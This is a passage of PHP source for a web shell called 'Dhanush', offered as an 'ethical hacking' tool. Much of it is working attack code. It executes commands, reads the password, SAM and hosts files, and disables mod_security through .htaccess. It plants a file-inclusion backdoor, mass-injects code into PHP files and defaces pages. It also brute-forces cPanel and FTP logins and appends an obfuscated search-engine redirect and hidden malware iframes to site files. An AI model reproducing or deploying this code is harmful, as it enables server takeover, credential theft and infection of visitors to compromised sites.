  1264.                         if(thiscmd($item))
  1265.                             $temp[] = $item;
  1266.                     myparam('Danger', implode(', ',$temp));
  1267.                     $temp=array();
  1268.                     foreach ($downloaders as $item)
  1269.                         if(thiscmd($item))
  1270.                             $temp[] = $item;
  1271.                     myparam('Downloaders', implode(', ',$temp));
  1272.                     echo '<br/>';
  1273.                     myparam('HDD space', myexe('df -h'));
  1274.                     myparam('Hosts', @file_get_contents('/etc/hosts'));
  1275.                    
  1276.                 }
  1277.         } else {
  1278.             echo "Password File : <a href=".$_SERVER['PHP_SELF']."?download=" . $_SERVER["WINDIR"]."\\repair\sam><b><font class=txt>Download password file</font></b></a><br>";
  1279.             echo "Config Files :  <a href=".$_SERVER['PHP_SELF']."?open=" . $_SERVER["WINDIR"]."\\system32\drivers\etc\hosts><b><font class=txt>[ Hosts ]</font></b></a> &nbsp;<a href=".$_SERVER['PHP_SELF']."?open=" . $_SERVER["WINDIR"]."\\system32\drivers\etc\\networks><b><font class=txt>[ Local Network Map ]</font></b></a> &nbsp;<a href=".$_SERVER['PHP_SELF']."?open=" . $_SERVER["WINDIR"]."\\system32\drivers\etc\lmhosts.sam><b><font class=txt>[ lmhosts ]</font></b></a><br>";
  1280.             $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
  1281.             echo "Open Base Dir : <font class=txt>" . $base . "</font><br>";
  1282.             myparam('OS Version',myexe('ver'));
  1283.             myparam('Account Settings',myexe('net accounts'));
  1284.             myparam('User Accounts',myexe('net user'));
  1285.         }
  1286.         echo '</div>';
  1287.     }
  1288.    
  1289.    
  1290.    
  1291.     function myexe($in) {
  1292.     $out = '';
  1293.     if (function_exists('exec')) {
  1294.         @exec($in,$out);
  1295.         $out = @join("\n",$out);
  1296.     } elseif (function_exists('passthru')) {
  1297.         ob_start();
  1298.         @passthru($in);
  1299.         $out = ob_get_clean();
  1300.     } elseif (function_exists('system')) {
  1301.         ob_start();
  1302.         @system($in);
  1303.         $out = ob_get_clean();
  1304.     } elseif (function_exists('shell_exec')) {
  1305.         $out = shell_exec($in);
  1306.     } elseif (is_resource($f = @popen($in,"r"))) {
  1307.         $out = "";
  1308.         while(!@feof($f))
  1309.             $out .= fread($f,1024);
  1310.         pclose($f);
  1311.     }
  1312.     return $out;
  1313. }
  1314.    
  1315.     function exec_all($command)
  1316. {
  1317.    
  1318.     $output = '';
  1319.     if(function_exists('exec'))
  1320.     {  
  1321.         exec($command,$output);
  1322.         $output = join("\n",$output);
  1323.     }
  1324.    
  1325.     else if(function_exists('shell_exec'))
  1326.     {
  1327.         $output = shell_exec($command);
  1328.     }
  1329.    
  1330.     else if(function_exists('popen'))
  1331.     {
  1332.         $handle = popen($command , "r"); // Open the command pipe for reading
  1333.         if(is_resource($handle))
  1334.         {
  1335.             if(function_exists('fread') && function_exists('feof'))
  1336.             {
  1337.                 while(!feof($handle))
  1338.                 {
  1339.                     $output .= fread($handle, 512);
  1340.                 }
  1341.             }
  1342.             else if(function_exists('fgets') && function_exists('feof'))
  1343.             {
  1344.                 while(!feof($handle))
  1345.                 {
  1346.                     $output .= fgets($handle,512);
  1347.                 }
  1348.             }
  1349.         }
  1350.         pclose($handle);
  1351.     }
  1352.    
  1353.    
  1354.     else if(function_exists('system'))
  1355.     {
  1356.         ob_start(); //start output buffering
  1357.         system($command);
  1358.         $output = ob_get_contents();    // Get the ouput
  1359.         ob_end_clean();                 // Stop output buffering
  1360.     }
  1361.    
  1362.     else if(function_exists('passthru'))
  1363.     {
  1364.         ob_start(); //start output buffering
  1365.         passthru($command);
  1366.         $output = ob_get_contents();    // Get the ouput
  1367.         ob_end_clean();                 // Stop output buffering            
  1368.     }
  1369.    
  1370.     else if(function_exists('proc_open'))
  1371.     {
  1372.         $descriptorspec = array(
  1373.                 1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  1374.                 );
  1375.         $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  1376.         if(is_resource($handle))
  1377.         {
  1378.             if(function_exists('fread') && function_exists('feof'))
  1379.             {
  1380.                 while(!feof($pipes[1]))
  1381.                 {
  1382.                     $output .= fread($pipes[1], 512);
  1383.                 }
  1384.             }
  1385.             else if(function_exists('fgets') && function_exists('feof'))
  1386.             {
  1387.                 while(!feof($pipes[1]))
  1388.                 {
  1389.                     $output .= fgets($pipes[1],512);
  1390.                 }
  1391.             }
  1392.         }
  1393.         pclose($handle);
  1394.     }
  1395.    
  1396.     return(htmlspecialchars($output));
  1397.    
  1398. }
  1399.  
  1400. $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"OFF";
  1401. $etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
  1402. ?>
  1403. <div align="center">
  1404. <a href="<?php $_SERVER['PHP_SELF'];?>"><span class=headtitle><font face="Times New Roman, Times, serif" size="6">Dhanush: By Arjun</font></span></a>
  1405.  
  1406. </div>
  1407. <hr>
  1408.    
  1409. <table cellpadding="0" style="width:100%;">
  1410.     <tr>
  1411.         <td colspan="3" style="width:85%;"><b>System Info :</b> <font class="txt"><?php systeminfo(); ?></></font></td>
  1412.         <td style="width:15%;"><a href="<?php $_SERVER['PHP_SELF'];?>?com=info" target="_blank"><font class="txt"><i>Software Info</i></font></a></td>
  1413.     </tr>
  1414.     <tr>
  1415.         <td style="width:85%;" colspan="3"><b>Software :</b> <font class="txt"><?php softwareinfo(); ?></font></td>
  1416.         <td style="width:15%;"><b>Server Port :</b> <font class="txt"><?php serverport(); ?></font></td>
  1417.     </tr>
  1418.    
  1419.     <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
  1420.         <td style="width:75%;" colspan="3"><b>Uid :</b> <font class="txt"><?php echo shell_exec("id"); ?></font></td>
  1421.     </tr><?php } ?>
  1422.     <tr>
  1423.         <td style="width:20%;"><b>Disk Space :</b> <font class="txt"><?php diskSpace(); ?></font></td>
  1424.         <td style="width:20%;"><b>Free Space :</b> <font class="txt"><?php freeSpace(); ?></font></td>
  1425.        
  1426.         <td style="width:20%;"><b>Server IP :</b> <a href="http://whois.domaintools.com/<?php serverip(); ?>"><font class="txt"><?php serverip(); ?></font></a></td>
  1427.         <td style="width:15%;"><b>Your IP :</b> <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><font class="txt"><?php yourip(); ?></font></a></td>
  1428.     </tr>
  1429.    
  1430.     <tr>
  1431.         <?php if($os == 'Windows'){ ?><td style="width:15%;"><b>View Directories :</b> <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
  1432.         <?php if($os != 'Windows'){ ?><td colspan=2 style="width:20%;"><b>Current Directory :</b> <font color="#009900"><?php
  1433.             $d = str_replace("\\",$directorysperator,$dir);
  1434.     if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
  1435.     $d = str_replace("\\\\","\\",$d);
  1436.     $dispd = htmlspecialchars($d);
  1437.     $pd = $e = explode($directorysperator,substr($d,0,-1));
  1438.     $i = 0;
  1439.     foreach($pd as $b)
  1440.     {
  1441.      $t = '';
  1442.      $j = 0;
  1443.      foreach ($e as $r)
  1444.      {
  1445.       $t.= $r.$directorysperator;
  1446.       if ($j == $i) {break;}
  1447.       $j++;
  1448.      }
  1449.    
  1450.    
  1451.     $href='dir='.$t;
  1452.    
  1453.      echo '<a href="'.$self."?$href\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
  1454.      $i++;
  1455.     }
  1456.  
  1457.         ?></font></td><?php } ?>
  1458.         <td style="width:20%;"><b>Disable functions :</b> <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
  1459.         <td><b>Safe Mode :</b> <font class=txt><?php echo safe(); ?></font></td>
  1460.        
  1461.     </tr>
  1462.     </table>
  1463.    
  1464.  
  1465. <table border="3" style="border-color:#333333;" width="100%;" cellpadding="1" cellspacing="8">
  1466.     <tr align="center">
  1467.         <td class="myfun"><a href="<?php echo $self.'?symlinkserver'?>"><font class="fun">[Symlink]</font></a></td>
  1468.         <td class="myfun"><a href="<?php echo $self.'?forum'?>"><font class="fun">[Forum]</font></a></td>
  1469.         <td class="myfun"><a href="<?php echo $self.'?secinfo'?>"><font class="fun">[Sec. Info]</font></a></td>
  1470.         <td class="myfun"><a href="<?php echo $self.'?injector'?>"><font class="fun">[Code Inject]</font></a></td>
  1471.         <td class="myfun"><a href="<?php echo $self.'?bypass';?>"><font class="fun">[Bypassers]</font></a></td>
  1472.         <td class="myfun"><a href="<?php echo $self.'?fuzz'?>"><font class="fun">[Server Fuzzer]</font></a></td>
  1473.         <td class="myfun"><a href="<?php echo $self.'?zone'?>"><font class="fun">[Zone-h]</font></a></td>
  1474.         <td class="myfun"><a href="<?php echo $self.'?dos';?>"><font class="fun">[DoS]</font></a></td>
  1475.         <td class="myfun"><a href="<?php echo $self.'?mailbomb'?>"><font class="fun">[Mail]</font></a></td>
  1476.         <td class="myfun"><a href="<?php echo $self.'?tools'?>"><font class="fun">[Tools]</font></a></td>
  1477.         <td class="myfun"><a href="<?php echo $self.'?phpc';?>"><font class="fun">[PHP]</font></a></td>
  1478.         <td class="myfun"><a href="<?php echo $self.'?exploit'?>"><font class="fun">[Exploit]</font></a></td>
  1479.         <td class="myfun"><a href="<?php echo $self.'?connect'?>"><font class="fun">[Connect]</font></a></td>
  1480.     </tr>
  1481. </table>
  1482. <div style="float:left;">
  1483.     <a href="javascript:history.back(1)"><font style="font-size:14;"> [Back] </font></a>&nbsp;
  1484.  
  1485.  
  1486.     <a href="javascript:history.go(1)"><font style="font-size:14;"> [Forward] </font></a>&nbsp;
  1487.     <a href=""><font style="font-size:14;"> [Refresh] </font></a>&nbsp;</div>
  1488. <table style="margin-left:270px; border-color:#333333;" border="2" width="70%;" cellpadding="1" cellspacing="8">
  1489.     <tr align="center">
  1490.         <td class="myfun"><a href="<?php echo $self.'?database'?>"><font class="fun">[SQL]</font></a></td>
  1491.         <td class="myfun"><a href="<?php echo $self.'?404'?>"><font class="fun">[404 Page]</font></a></td>
  1492.         <td class="myfun"><a href="<?php echo $self.'?malattack&dir='. $dir;?>"><font class="fun">[Malware Attack]</a></td>
  1493.         <td class="myfun"><a href="<?php echo $self.'?cpanel'?>"><font class="fun">[Cpanel Cracker]</font></a></td>
  1494.         <td class="myfun"><a href="<?php echo $self.'?about'?>"><font class="fun">[About]</font></a></td>
  1495.         <td class="myfun"><a href="<?php echo $self.'?selfkill'?>" onClick="if(confirm('Are You Sure You Want To Kill This Shell ?')){return true;}else{return false;}"><font class="fun">[SelfKill]</font></a></td>
  1496.         <td class="myfun"><a href="<?php echo $self.'?logout'?>"><font class="fun">[LogOut]</font></a></td>
  1497.     </tr>
  1498. </table>
  1499.  
  1500. <table align="center" class="pwdtbl"><br>
  1501.     <tr>
  1502.         <form method="GET"  action="<?php echo $self; ?>">
  1503.         <td style="width:35%;" align="right"> Present Working Directory : </td><td style="width:20%;"><input name="dir" class="box" style="width:300px;" value="<?php if($dir == null){echo getcwd();} else { echo $dir; } ?>"/></td>
  1504.         <td><input type="submit" value="  Go  " class="but" /></td><td align="right"><?php if($os == "Linux") { ?>
  1505.         <a href="<?php echo $self.'?downloadit'; ?>"><font class="txt">Download It</font></a><?php } ?></td>
  1506.         </form>
  1507.     </tr>
  1508. </table>
  1509.  
  1510. <?php
  1511.  
  1512. if(isset($_POST['pathtomass']) &&  $_POST['pathtomass'] != '' &&  isset($_POST['filetype']) &&  $_POST['filetype'] != '' &&  isset($_POST['mode']) &&  $_POST['mode'] != '' && isset($_POST['injectthis']) &&  $_POST['injectthis'] != '')
  1513.     {
  1514.         //$dir = $_GET['dir'];
  1515.         $filetype = $_POST['filetype'];
  1516.         //$message = $_GET['message'];
  1517.        
  1518.         $mode = "a"; //default mode
  1519.        
  1520.        
  1521.         // Modes Begin
  1522.        
  1523.         if($_POST['mode'] == 'Apender')
  1524.         {
  1525.             $mode = "a";
  1526.         }
  1527.         if($_POST['mode'] == 'Overwriter')
  1528.         {
  1529.             $mode = "w";
  1530.         }
  1531.        
  1532.         if ($_POST['filetype'] == 'php')
  1533.         {
  1534.             if (is_dir($_POST['pathtomass']))
  1535.             {
  1536.                 $lolinject = $_POST['injectthis'];
  1537.                 foreach (glob($_POST['pathtomass'] . $directorysperator . "*.php") as $injectj00)
  1538.                 {
  1539.                     $fp=fopen($injectj00,$mode);
  1540.                     if (fputs($fp,$lolinject)){
  1541.                         echo '<br><font class=txt>'.$injectj00.' was injected<br></font>';
  1542.                 } else {
  1543.                         echo 'failed to inject '.$injectj00.'';
  1544.                 }
  1545.             }
  1546.         } else
  1547.             { //end if inputted dir is real -- if not, show an ugly red error
  1548.             echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
  1549.             } // end if inputted dir is real, for real this time
  1550.         } // end if confirmation to mass sploit is php only
  1551.     } // end if massbrowsersploit is called
  1552.  
  1553. if(isset($_GET['set404']))
  1554. {
  1555.     echo "<center><blink><font color=lime>Done setting 404 Page</font></blink></center>";
  1556. }
  1557. if(isset($_GET['cannotset404']))
  1558. {
  1559.     echo "<center><blink><font color=red>Cannot Set 404 Page</font></blink></center>";
  1560. }
  1561.  
  1562. if(isset($_GET['to']) && isset($_GET['file']))
  1563. {
  1564.      if(!rename($_GET['file'], $_GET['to']))
  1565.      {
  1566.         $loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET['getdir'];
  1567.         header("Location:$loc");
  1568.         ob_end_flush();
  1569.        
  1570.      }
  1571.      else
  1572.      {
  1573.         $loc = $_SERVER["SCRIPT_NAME"] . "?dir=" . $_GET['getdir'];
  1574.         header("Location:$loc");
  1575.         ob_end_flush();
  1576.        
  1577.      }
  1578. }
  1579.  
  1580.    
  1581.     if(isset($_POST["changeperms"]))
  1582.     {
  1583.         if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
  1584.         {
  1585.             $perms = 0;
  1586.             for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
  1587.                 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
  1588.             if(@chmod($_POST['myfilename'],$perms))
  1589.                 echo "<center><blink><font size=3>File Permissions Changed Successfully</font></blink></center>";
  1590.             else
  1591.                 echo "<center><blink><font size=3 class=txt>Cannot Change File Permissions</font></blink></center>";
  1592.         }
  1593.     }
  1594.    
  1595. $setuploadvalue = 0;
  1596. if(isset($_POST['u']))
  1597.     {
  1598.         $path = $_REQUEST['path'];
  1599.         if(is_dir($path))
  1600.         {
  1601.             $uploadedFilePath = $_FILES['uploadfile']['name'];
  1602.             //echo $uploadedFilePath;
  1603.             $tempName = $_FILES['uploadfile']['tmp_name'];
  1604.             //echo $tempName;
  1605.             if($os == "Windows")
  1606.                 $uploadPath = $path . $directorysperator .  $uploadedFilePath;
  1607.             else if($os == "Linux")
  1608.                  $uploadPath = $path . $directorysperator . $uploadedFilePath;
  1609.             if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
  1610.             {
  1611.                echo "<center><font class=txt size=3><blink>File uploaded to $uploadPath</blink></font></center>";  
  1612.                //header("Location:");          
  1613.             }
  1614.             else
  1615.             {
  1616.                 echo "<center><font size=3><blink>Failed to upload file to $uploadPath</blink></font></center>";
  1617.             }
  1618.          }
  1619.     }
  1620.        
  1621.     if(isset($_POST['createdir']))
  1622.     {
  1623.         if(!mkdir($_POST['createfolder']))
  1624.             echo "Failed To create";
  1625.     }
  1626. if(isset($_POST['createmyfile'])&&isset($_POST['filecontent']))
  1627. {
  1628.     $content = $_POST['filecontent'];
  1629.     $file_pointer = fopen($_POST['filecreator'], "w+");
  1630.     fwrite($file_pointer, $content);
  1631.     fclose($file_pointer);
  1632.     $loc = $_SERVER['REQUEST_URI'];
  1633.     header("Location:$loc");
  1634.     ob_end_flush();
  1635. }
  1636.  
  1637.  
  1638. //Turn Safe Mode Off
  1639.  
  1640.     if(getDisabledFunctions() != "None" || safe() != "OFF")
  1641.     {
  1642.         $file_pointer = fopen(".htaccess", "w+");
  1643.         fwrite($file_pointer, "<IfModule mod_security.c>
  1644.                     SecFilterEngine Off
  1645.                      SecFilterScanPOST Off
  1646.                     </IfModule>");
  1647.            
  1648.         $file_pointer = fopen("ini.php", "w+");
  1649.         fwrite($file_pointer, "<?
  1650. echo ini_get(\"safe_mode\");
  1651. echo ini_get(\"open_basedir\");
  1652. include(\$_GET[\"file\"]);
  1653. ini_restore(\"safe_mode\");
  1654. ini_restore(\"open_basedir\");
  1655. echo ini_get(\"safe_mode\");
  1656. echo ini_get(\"open_basedir\");
  1657. include(\$_GET[\"ss\"]);
  1658. ?>");
  1659.  
  1660.         $file_pointer = fopen("php.ini", "w+");
  1661.         fwrite($file_pointer, "safe_mode               =       Off");
  1662.                    
  1663.         fclose($file_pointer);
  1664.         //echo "Safe Mode Is Now Off..";
  1665.     }
  1666.    
  1667.     if(isset($_GET["downloadit"]))
  1668.     {
  1669.         $FolderToCompress = getcwd();
  1670.         execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
  1671.        
  1672.         $prd=explode("/","backup.tar");
  1673.         for($i=0;$i<sizeof($prd);$i++)
  1674.         {
  1675.             $nfd=$prd[$i];
  1676.         }
  1677.         @ob_clean();
  1678.        header("Content-type: application/octet-stream");
  1679.        header("Content-length: ".filesize($nfd));
  1680.        header("Content-disposition: attachment; filename=\"".$nfd."\";");
  1681.        readfile($nfd);
  1682.  
  1683.        exit;
  1684.     }
  1685.    
  1686.     if(isset($_POST['uploadurl']))
  1687.     {
  1688.         $functiontype = trim($_POST['functiontype']);
  1689.         $wurl = trim($_POST['wurl']);
  1690.         $path = magicboom($_POST['path']);
  1691.         $namafile = remotedownload($functiontype,$wurl);
  1692.         $fullpath = $path . $directorysperator . $namafile;
  1693.         if(is_file($fullpath))
  1694.         {
  1695.             echo "<center><font class=txt size=3>File uploaded to $fullpath</font></center>";
  1696.         }
  1697.         else
  1698.             echo "<center><font size=3>Failed to upload $namafile</font></center>";
  1699.     }
  1700.    
  1701.     else if(isset($_GET['about']))
  1702.     { ?>
  1703.         <bR><center>
  1704.           <p><font size=6><u>D h a n u s h</u></font><br>
  1705.               <font size=5>[--==Coded By Arjun==--]</font><br>
  1706.             <br><div style='font-family: Courier New; font-size: 10px;'><pre>
  1707.  
  1708.        -  --  -
  1709.        -- -- --
  1710.        --    --
  1711.        ---  ---
  1712.        ------
  1713.        ----
  1714.    ----            
  1715.  ------          
  1716. -------          
  1717. ---   --          
  1718.       --      ---
  1719.       --      -----
  1720.      ---      --- ---
  1721.      ---    ---   ---
  1722. --   ---------     --
  1723. --    -------      --
  1724.  --     ----       --
  1725.   --     ---       --
  1726.  
  1727.   --     --        --
  1728.    ---  ---   --  ---
  1729.     ------    ------
  1730.      ----      ----
  1731.      
  1732.  
  1733.         </pre></div></center>
  1734.         Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it<br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| &#2332;&#2351; &#2350;&#2361;&#2366;&#2325;&#2366;&#2354; | | &#2332;&#2351; &#2361;&#2367;&#2344;&#2381;&#2342; |</font></center><br>
  1735.     <?php }
  1736.    
  1737.     // Zone-h Poster
  1738.     else if(isset($_GET["zone"]))
  1739.     {  
  1740.         if(!function_exists('curl_version'))
  1741.         {
  1742.             echo "<pre class=ml1 style='margin-top:5px'><center><font class=txt>PHP CURL NOT EXIT</font></center></pre>";
  1743.         }
  1744.         ?>
  1745.         <center><font size="4">Zone-h Poster</font></center>
  1746.         <form action="<?php echo $self; ?>" method="post">
  1747.         <table align="center" cellpadding="5" border="0">
  1748.         <tr>
  1749.         <td>
  1750.         <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
  1751.         <tr><td>
  1752.         <select name="hackmode" class="box">
  1753.             <option >--------SELECT--------</option>
  1754.             <option value="1">known vulnerability (i.e. unpatched system)</option>
  1755.             <option value="2" >undisclosed (new) vulnerability</option>
  1756.             <option value="3" >configuration / admin. mistake</option>
  1757.             <option value="4" >brute force attack</option>
  1758.             <option value="5" >social engineering</option>
  1759.             <option value="6" >Web Server intrusion</option>
  1760.             <option value="7" >Web Server external module intrusion</option>
  1761.             <option value="8" >Mail Server intrusion</option>
  1762.             <option value="9" >FTP Server intrusion</option>
  1763.             <option value="10" >SSH Server intrusion</option>
  1764.             <option value="11" >Telnet Server intrusion</option>
  1765.             <option value="12" >RPC Server intrusion</option>
  1766.             <option value="13" >Shares misconfiguration</option>
  1767.             <option value="14" >Other Server intrusion</option>
  1768.             <option value="15" >SQL Injection</option>
  1769.             <option value="16" >URL Poisoning</option>
  1770.             <option value="17" >File Inclusion</option>
  1771.             <option value="18" >Other Web Application bug</option>
  1772.             <option value="19" >Remote administrative panel access bruteforcing</option>
  1773.             <option value="20" >Remote administrative panel access password guessing</option>
  1774.             <option value="21" >Remote administrative panel access social engineering</option>
  1775.             <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  1776.             <option value="23" >Access credentials through Man In the Middle attack</option>
  1777.             <option value="24" >Remote service password guessing</option>
  1778.             <option value="25" >Remote service password bruteforce</option>
  1779.             <option value="26" >Rerouting after attacking the Firewall</option>
  1780.             <option value="27" >Rerouting after attacking the Router</option>
  1781.             <option value="28" >DNS attack through social engineering</option>
  1782.             <option value="29" >DNS attack through cache poisoning</option>
  1783.             <option value="30" >Not available</option>
  1784.         </select>
  1785.         </td></tr>
  1786.         <tr><td>
  1787.         <select name="reason" class="box">
  1788.             <option >--------SELECT--------</option>
  1789.             <option value="1" >Heh...just for fun!</option>
  1790.             <option value="2" >Revenge against that website</option>
  1791.             <option value="3" >Political reasons</option>
  1792.             <option value="4" >As a challenge</option>
  1793.             <option value="5" >I just want to be the best defacer</option>
  1794.             <option value="6" >Patriotism</option>
  1795.             <option value="7" >Not available</option>
  1796.         </select></td></tr>
  1797.         <tr><td>
  1798.         <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
  1799.         <tr><td>
  1800.         <input type="submit" class="but" value="Send Now !" name="SendNowToZoneH" /></td></tr></table>
  1801.         </form>
  1802.     <?php }
  1803.    
  1804.     // Deface Website
  1805.     else if(isset($_GET['deface']))
  1806.     {
  1807.         $myfile = fopen($_GET['deface'],'w');
  1808.         fwrite($myfile, base64_decode($ind));
  1809.         fclose($myfile);
  1810.         header("Location:$self");
  1811.         ob_end_flush();
  1812.     }
  1813.    
  1814.     // Cpanel Cracker
  1815.     else if(isset($_REQUEST['cpanel']))
  1816.     {
  1817.         $cpanel_port="2082";
  1818.         $connect_timeout=5;
  1819.         if(!isset($_POST['username']) && !isset($_POST['password']) && !isset($_POST['target']) && !isset($_POST['cracktype']))
  1820.         {
  1821.         ?>
  1822.         <center>
  1823.         <form method=post>
  1824.         <table style="width:50%;" border=1 cellpadding=4>
  1825.             <tr>
  1826.                 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
  1827.             </tr>
  1828.             <tr>
  1829.                 <td align=center>User names</td><td align=center>Password</td>
  1830.             </tr>
  1831.             <tr>
  1832.                 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
  1833.                 if($os != "Windows")
  1834.                 {
  1835.                     if(@file('/etc/passwd'))
  1836.                     {
  1837.                         $users = file('/etc/passwd');
  1838.                         foreach($users as $user)
  1839.                         {
  1840.                             $user = explode(':', $user);
  1841.                             echo $user[0] . "\n";
  1842.                         }
  1843.                     }
  1844.                     else
  1845.                     {
  1846.                         $temp = "";
  1847.                         $val1 = 0;
  1848.                         $val2 = 1000;
  1849.                         for(;$val1 <= $val2;$val1++)
  1850.                         {
  1851.                             $uid = @posix_getpwuid($val1);
  1852.                             if ($uid)
  1853.                                  $temp .= join(':',$uid)."\n";
  1854.                          }
  1855.                        
  1856.                          $temp = trim($temp);
  1857.                              
  1858.                          if($file5 = fopen("test.txt","w"))
  1859.                          {
  1860.                             fputs($file5,$temp);
  1861.                              fclose($file5);
  1862.                              
  1863.                              $file = fopen("test.txt", "r");
  1864.                              while(!feof($file))
  1865.                              {
  1866.                                 $s = fgets($file);
  1867.                                 $matches = array();
  1868.                                 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1869.                                 $matches = str_replace("home/","",$matches[1]);
  1870.                                 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  1871.                                     continue;
  1872.                                 echo $matches;
  1873.                             }
  1874.                             fclose($file);
  1875.                         }
  1876.                     }
  1877.                 }
  1878.                  ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
  1879.             </tr>
  1880.             <tr>
  1881.                 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
  1882.             </tr>
  1883.             <tr>
  1884.                 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
  1885.             </tr>
  1886.             <tr>
  1887.                 <td align=center colspan=2><input type="submit" value="   Go    " class=but></td>
  1888.             </tr>
  1889.         </table>
  1890.         </form>
  1891.         </center>
  1892.         <?php
  1893.         }
  1894.         else
  1895.         {
  1896.             if(empty($_POST['username']) || empty($_POST['password']))
  1897.                 echo "<center>Please Enter The Users or Password List</center>";
  1898.             else
  1899.             {
  1900.                 $userlist=explode("\n",$_POST['username']);
  1901.                 $passlist=explode("\n",$_POST['password']);
  1902.    
  1903.                 if($_POST['cracktype'] == "ftp")
  1904.                 {
  1905.                     foreach ($userlist as $user)
  1906.                     {
  1907.                         $pureuser = trim($user);
  1908.                         foreach ($passlist as $password )
  1909.                         {
  1910.                             $purepass = trim($password);
  1911.                             ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
  1912.                         }
  1913.                     }
  1914.                 }
  1915.                 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
  1916.                 {
  1917.                     if($cracktype == "telnet")
  1918.                     {
  1919.                         $cpanel_port="23";
  1920.                     }
  1921.                     else
  1922.                         $cpanel_port="2082";
  1923.                     foreach ($userlist as $user)
  1924.                     {
  1925.                         $pureuser = trim($user);
  1926.                         echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
  1927.                         Processing user $pureuser ...</font></b><br><br>";
  1928.                         foreach ($passlist as $password )
  1929.                         {
  1930.                             $purepass = trim($password);
  1931.                             cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
  1932.                         }
  1933.                     }
  1934.                 }
  1935.             }
  1936.         }
  1937.     }
  1938.    
  1939.     // Deface Website
  1940.     else if(isset($_REQUEST['malattack']))
  1941.     {
  1942.         ?>
  1943.         <center><table><tr><td><a href="<?php echo $self; ?>?malattack&malware&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Malware Attack |</font></a></td>
  1944.         <td><a href="<?php echo $self; ?>?malattack&codeinsert&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
  1945.         <?php
  1946.         if(isset($_GET['malware']))
  1947.         {
  1948.             ?>
  1949.         <center><table><tr><td><a href="<?php echo $self; ?>?malattack&malware&infect&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Infect Users |</font></a></td>
  1950.         <td><a href="<?php echo $self; ?>?malattack&malware&redirect&dir=<?php echo $_GET['dir']; ?>"><font size="4">| Redirect Search Engine TO Malwared site |</font></a></td></tr></table></center>
  1951.         <?php
  1952.             if(isset($_GET['redirect']))
  1953.             {
  1954.                 if($myfile = fopen(".htaccess",'a'))
  1955.                 {
  1956.                     $mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
  1957.                     fwrite($myfile, gzuncompress(base64_decode($mal)));
  1958.                     fwrite($myfile, "\n\r");
  1959.                     fclose($myfile);
  1960.                     $mydir = "dir=".$_GET['dir'];
  1961.                     header("Location:$self?malattack&$mydir");
  1962.                     ob_end_flush();
  1963.                 }
  1964.                 else
  1965.                     echo "<center>Cannot open file !!!!<center>";
  1966.             }
  1967.             else if(isset($_GET['infect']))
  1968.             {
  1969.                 $coun = 0;
  1970.                 $str = "<iframe width=0px height=0px frameborder=no name=frame1 src=".$malsite."> </iframe>";
  1971.                 foreach (glob($_GET['dir'] . $directorysperator . "*.php") as $injectj00)
  1972.                    {
  1973.                         if($myfile=fopen($injectj00,'a'))
  1974.                         {
  1975.                         fputs($myfile, $str);
  1976.                         fclose($myfile);
  1977.                         }
  1978.                         else
  1979.                         $coun = 1; 
  1980.                       }
